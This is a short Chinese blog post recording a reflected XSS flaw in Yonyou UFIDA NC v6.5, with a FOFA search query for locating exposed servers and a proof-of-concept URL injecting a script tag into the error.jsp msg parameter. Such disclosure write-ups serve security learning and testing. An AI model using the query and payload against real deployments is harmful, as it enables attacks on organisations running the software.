用友NC v6.5 反射型xss

漏洞描述

用友NC6.5版本存在反射型xss

漏洞复现

fofa语法:app="用友-UFIDA-NC"
访问页面:

POC:
/uapws/pages/error.jsp?msg=<script>alert(1)</script>

posted @ 2023-09-07 15:56  学安全的小白  阅读(144)  评论(0编辑  收藏  举报